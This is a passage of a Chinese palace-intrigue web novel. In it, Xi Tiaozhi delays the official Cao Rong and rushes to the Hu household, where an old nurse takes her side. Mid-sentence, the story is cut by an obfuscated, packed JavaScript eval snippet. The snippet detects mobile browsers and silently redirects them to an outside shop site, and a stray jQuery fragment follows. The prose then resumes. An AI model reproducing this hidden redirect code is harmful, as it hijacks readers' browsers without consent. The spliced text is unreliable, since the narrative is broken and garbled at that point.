奚窕止本想让曹大人稍作休息,想先见一下乔喜芹,但是曹大人跟得很紧,寸步不离,这下子对她而言便不是见乔喜芹的好时候了。
身旁的手下也知道现在事态不太对,悄悄走到她身边:“奚文知,现在怎么办?”
她:“放人。”
手下:“啊?”
她咬着牙,微笑:“放人。”
曹大人当即就被请到了牢房外。
锦衣卫的牢房分为两块,一则是普通牢狱,关押着待审或看押的犯人,另一部分则是既定犯人,被判了刑暂时关押在锦衣卫,之后会移交到别处,但是众所周知真正有锦衣卫特色的“牢房”是审讯房,一些顽固的犯人常年绑在审讯室里也便成了牢房。
因为尚未定罪,胡贤在普通牢狱。
奚窕止将曹大人送到旁边的待客房:“牢房里面霉得很,您先在这里休息,我去把胡大人带出来。”
曹大人笑眯眯的:“不必了,我还是跟着您吧,省的您还得来叫我,怪受累的。”
他向奚窕止拱手,看着像是赶不走的。
奚窕止也不再说,做了请的手势带他过去。
曹大人跟在奚窕止身后,带着他的人静静地走着。他看着眼前人的背影,心里想到上面那位大人的手下说的话。
——像胡贤这样的人我们有多少算多少,能不折还是不折了。奚文知?你说的是奚窕止吧,那个吉星,不用管,一个吉祥物而已,其实什么都不是。他这第一个案子,碰到我们的人算他倒霉。
这吉星从前也难见,不常出门,逢年过节有时候会在宫里见上一眼,都说他长得女相,今日奚窕止穿着官服,今日的发扎得高,桃木簪子极衬他的气质,也能看出还年纪尚小,但曹大人觉得他虽显女相,但十分有公子风范。若不是这么个身世在,恐怕会叫多少人当做对手。或许他曹荣的站队……
难啊。
要养家。
曹荣晋升并不快,但自从跟了那位主位子已经到了从六品,不出意外的话再过两年就能升到六品。想到刚刚满月的女儿,他心下欢喜。
他很满意。
但是……
为什么这条路会这么长?
他们已经走了很久了。
奚窕止带着曹荣在锦衣卫外围走,一圈又一圈,只要她想,拖他半个时辰不是问题。
曹荣:“奚大人,我怎么感觉看到过这个鸟笼?”
奚窕止:“您看错了,同样的鸟笼锦衣卫有很多。”
曹荣:“那这个大门?”
奚窕止:“锦衣卫门也多。”
曹荣:“不对啊那个守门的官兵我好像刚刚还看到……”
奚窕止把他往前拉:“快走吧,曹大人。”
曹荣:是这样吗?
在曹荣再一次看到同样的守卫时,他意识到了什么,相比于生气,他更多是害怕耽误了时间。
曹荣:“奚文知,您这是……”
一只鸟突然乱飞过来,他被吓了一跳,快速后退。
“咻!”一根快箭将鸟射中,鸟直直地砸在地上,只是一坨黑白色的东西掉到了曹荣的头上。
他愣了,心里有不好的预感,右手朝头上摸。
他看了看。
了看:……
奚窕止等曹荣把这一系列动作做完,才转身,面上是惊讶又担忧的模样:“哎呀,快带曹大人去沐浴。”
奚窕止的人七七八八地过去。
“呀,曹大人,好大一坨鸟屎啊,属下这就带您去沐浴间。”
“真是只蠢鸟,曹大人放心,我定会找到它的子孙给您报仇的。”
这些人你一句我一句硬是把还想说些什么的曹荣拉走了。
不远处,上官芷寒和奚窕止点头示意后隐去身形。
奚窕止看着地下残留的鸟屎和鸟的尸体,感知到了上官芷寒的……勇猛。
论恶心人,她是厉害的。
胡贤的属下看不到奚窕止和上官芷寒的小动作,只是领导的吩咐他们还是要做的。
一个下属就反应过来了这个味儿。
他躬身:“奚文知,我们继续走吧。”
奚窕止的话十分温和:“当然,但曹大人这样我实在是不放心,这样吧,我叫人帮您指路,我先去看看曹大人,等等自会去放了他。”
曹荣的下属还没来得及开口,奚窕止已经跑过去了,只能看到她的背影。
奚窕止的人看着他们微笑。
这表情简直和奚窕止本人如出一辙。
曹荣的下属预感到了一件事,但他觉得不能说。
奚窕止出了锦衣卫就上了快马,她走行人较少的侧路,马背上的她技术娴熟,没有丝毫胆怯,发丝随着她的动作扬起,她干脆单手拔下桃木簪,重新把头发挽了起来再扎住。
侧路旁只有一家酒房。
公孙拓和公孙愉今天兄弟小聚。
公孙拓本来就只有一个时辰的假,训斥公孙愉就用了半个时辰。
公孙愉一个大高个被训得狠狠低头,整个人都缩在椅子上。
“兄长,您别说了,菜都凉了。”
“你让我别说了,你说说你干的那点好事!”
公孙拓冷眼看他,双手环着手臂:“你明明知道父亲不可能接受贱籍女子,你却还要撩拨人家,把人家招到手里也不知道买断文书,要不是家里人察觉到,随便一个文官都可以参父亲一本。”
公孙愉小声说:“那也不是你们买断的……”
奚窕止进锦衣卫时曾承诺公孙拓会给公孙愉补偿,本身公孙拓没当回事,但是从公孙愉突然收到的想要很久的宝枪,平时兵场里和公孙愉对着干的那几个人集体失声,再到蕊娘的贱籍文书被人送到了府上,这足以证明奚窕止确实是个言而有信之人。
但这次收到文书时公孙拓还拿到了一封信,信上只有一个字“清”。这意思应当是他们之间已经两清了。
想想也是,他们家帮助奚窕止走出皇家的圈子,成了一名官员,奚窕止也帮助他们阻挡了一场祸事,是可以两清了。
公孙愉知道这一切,所以他一直心里都不太舒服。
这种被讨厌的人帮助的感觉不太好受,但他也确实要感激对方,这才是最难受的。
公孙愉想赶快把这个话题掀过,于是他站了起来打开了窗户。
“哥你看看,外面风景这么好,我们就先不要吵架了。”
公孙拓也累了,不想多说什么,抬起头却刚好看到一个驾马呼啸而过的身影。
公孙拓皱眉:“那是奚窕止?”
他心想奚窕止平时的样子,之前的宴会奚窕止都是马车出行,坐也都做
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13446012|140647||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
最暖和的地方,弱不禁风,没想到骑马居然骑得这么好。
公孙愉在一边感叹:“这奚窕止骑得比小时候也没好到哪里去。”他心里美滋滋,想到自己现在的骑术更好就开心,刚想跟自家哥哥炫耀,转头却看到公孙拓的脸已经黑了。
公孙愉:“哥你怎么了?”
公孙拓:“你刚刚说什么?”
公孙愉:“……奚窕止骑得没小时候好?”
公孙拓:“他之前就会骑吗?”
公孙愉:“是啊,他一直很强,我没跟你说过吗,他就是我少时在学堂总和我作对的那个。”
公孙拓“?”
-
奚窕止很快就原路返回到了胡府,但是胡府已解封,她要进去需要主人的同意。
她急切地扣门,这次没有任何回应。
“胡姨,我是窕止,我有很重要的事情要给您说,请您让人开门吧!”
此时,曹荣在被锦衣卫的士兵剥衣服,慢慢地、一层一层地剥……
她敲了许久,依旧没人回应,便坐在了门前。
门前的人来来往往,小声议论着,她全当听不见。
拖延的时间有限,如果不能度过这一关,她的这一年会变得不稳定。
此时,曹荣站立在浴桶里,锦衣卫的官兵在一一一点一点地加水,他冻得瑟瑟发抖。
奚窕止再次敲门:“乔姨,这件事情与您的关系最深,如果您听后依旧不愿了解,我绝对不再打扰您。”
门内的侍从脸色忧愁,乔喜芹派他们来守着,但这话万一说得太多,街坊邻居听着不太好。
不过夫人又说这位奚文知人品甚好,不会做出有损他们的行为。
真让人头痛。
“你们就打算这样死守着?”
轻飘飘的一句话让门内的侍从都站直了。
朵云扶着一位老妇人走了过来。
老妇人的穿着很朴素,头发用抹额拘着一丝不苟。
张氏撇开朵云扶她的手,一步步走近大门。
她说一不二:“把门打开。”
旁边的侍从有些着急:“张婆婆,夫人她说……”
张氏看也没看她:“掌嘴。”
那位侍从不敢再多说一个字,立刻自己打了自己两巴掌。
张氏是乔喜芹的奶娘,当时张氏年纪大了怀了孩子,但奶水充足,自己孩子养得也都好,府内才让她给乔喜芹做了奶娘,乔喜芹更是从小就在她身边的,在心里她当亲生的一样疼,今日从朵云那里听说了这些,气得她立刻就过来了,她倒是要看看小姐身边都是些什么不长眼的货色。
“夫人糊涂你们也糊涂,你们都是夫人身边的老人了,还不懂吗?一切以夫人的荣耀为荣耀,夫家的荣耀固然重要,但万一涉及到夫人,这便不是个划算的买卖,你们是投身乔府的,不是这什劳子胡府,听明白了吗!”
侍从连连答应,赶快将门打开,但是刚把门闩[1]放下,就听到了旁边人的惊呼,他们抬头就看到了站在墙壁上的奚窕止。
奚窕止没想到这里有这么多人,翻墙的她这下子是回去也不好,下来也奇怪了。
张氏却突然换了个神情,和颜悦色起来:“快快快赶快给奚小少爷拿个梯子。”
众人又是一通忙碌,折腾了一会儿奚窕止才下来。